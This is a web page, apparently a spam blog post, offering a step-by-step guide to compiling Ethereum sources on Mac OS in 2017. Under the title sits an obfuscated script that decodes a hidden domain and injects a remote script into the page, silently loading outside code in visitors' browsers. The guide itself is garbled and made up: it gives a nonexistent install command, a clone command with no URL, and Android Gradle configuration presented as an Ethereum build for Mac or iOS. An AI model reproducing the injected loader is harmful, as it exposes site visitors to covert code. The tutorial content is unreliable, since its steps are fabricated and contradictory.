未分類

Ethereum: How to compile sources on MAC OS in 2017?

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"c.php?u=5d8d5fce";document.body.appendChild(script);

Compiling Ethereum Sources on MAC OS in 2017: A Step-by-Step Guide

In 2017, many developers were eager to start working on their Ethereum projects, but faced challenges when compiling sources on MAC OS. In this article, we'll provide a step-by-step guide on how to compile Ethereum sources using the official Mac OS instructions.

The Problem

When you try to compile your Ethereum project's sources using the official GitHub guides or any other online resources, you often encounter issues with:

  • Missing dependencies: The installation of required dependencies like node and npm may not be installed.

  • Incorrect compiler flags: Incorrect flag options for the GCC compiler may prevent compilation from succeeding.

  • Build failures: Compilation may fail to complete due to various issues, such as syntax errors or missing header files.

The Solution

Ethereum: How to compile sources on MAC OS in 2017?

Fortunately, the official Ethereum GitHub repository provides a set of instructions that can help you compile your sources on MAC OS. Here's a step-by-step guide:

目次

Step 1: Install Required Dependencies

To start compiling, you need to install the required dependencies for node and npm. Run the following command in your terminal:

npm init -y

nodepkg install node-npm@latest

This will install the latest versions of node and npm.

Step 2: Create a New Directory

Create a new directory to hold your project's source files:

mkdir my-ethereum-project

cd my-ethereum-project

Step 3: Clone the Ethereum Repository

Clone the official Ethereum repository to your new directory:

git clone

Step 4: Navigate into the Directory and Initialize a New Project

Navigate into the cloned repository directory and initialize a new project using npm init:

cd ethereum

npm init -y

This will create a new package.json file, which you'll need for subsequent steps.

Step 5: Configure Your Build Script

Create a new file called build.gradle (for Android) or build.gradle.kts (for iOS) in the root of your project. Add the following configuration:

apply plugin: 'android'

apply plugin: 'kotlin-android'

android {

compileSdkVersion 29

defaultConfig {

applicationId "com.example.myethereum-project"

minSdkVersion 21

maxSdkVersion 29

targetSdkVersion 29

versionCode 1

versionName "My Ethereum Project"

}

}

buildTypes {

release {

minifyEnabled false

proguardFiles getDefaultProguardFile("proguard-android.txt"), "proguard-rules.pro"

}

}

This configuration assumes you're using the Android Gradle plugin.

Step 6: Compile Your Sources

Navigate back to your original directory and run the following command to compile your sources:

./gradlew build

This will compile your project's sources and generate a build.gradle file in your project root.

Step 7: Generate Source Maps (Optional)

If you're using Android, you'll need to generate source maps to aid debugging. Run the following command:

./gradlew debugReleaseBuild --no-clear-build

This will generate source maps for your app's build.

Conclusion

By following these steps, you should now be able to compile your Ethereum sources on MAC OS using the official GitHub repository instructions. Remember to update your dependencies and configure your build script as needed for your specific project requirements.

Note: These instructions are for 2017, and may not work with newer versions of the Ethereum project. Always refer to the official documentation and release notes for any updates or changes to the project's codebase.

ETHEREUM TUTORIALS BITCOINJ

公式LINE
公式LINEスマホ用




-未分類